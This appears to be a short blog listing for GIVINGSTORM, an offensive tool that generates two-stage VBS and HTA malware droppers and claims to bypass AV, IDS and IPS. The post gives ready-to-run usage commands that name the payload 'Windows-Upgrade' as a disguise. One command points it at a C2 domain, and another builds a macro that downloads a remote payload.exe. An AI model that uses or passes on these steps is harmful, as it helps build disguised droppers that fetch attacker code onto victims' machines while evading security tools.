Home / C2 / GIVINGSTORM / HTA / Python / VBS / GIVINGSTORM - Infection Vector That Bypasses AV, IDS, And IPS

GIVINGSTORM - Infection Vector That Bypasses AV, IDS, And IPS

| Post sponsored by FaradaySEC | Multiuser Pentest Environment
The beginnings of a C2 framework. Currently without all the C2 stuff so far. Generates a dual stage VBS infection vector, and a dual stage HTA infection vector. The variables take into account C2 addresses, Koadic/Empire payloads, and a few delivery mechanisms. The payload files are output to an aptly named directory "Payloads" that is created if not already present.

Installation & Usage
GIVINGSTORM is a breeze to use. Simply clone the directory, and cd into it.
For the HTA payload: python3 GIVINGSTORM.py -n Windows-Upgrade -p b64encodedpayload -c amazon.com/c2/domain

HTA Example


For the Macro Subroutine: python3 GIVINGSTORM.py -n Windows-Upgrade -e amazon.com/final/payload.exe

Macro Example



GIVINGSTORM - Infection Vector That Bypasses AV, IDS, And IPS GIVINGSTORM - Infection Vector That Bypasses AV, IDS, And IPS Reviewed by Zion3R on 8:30 AM Rating: 5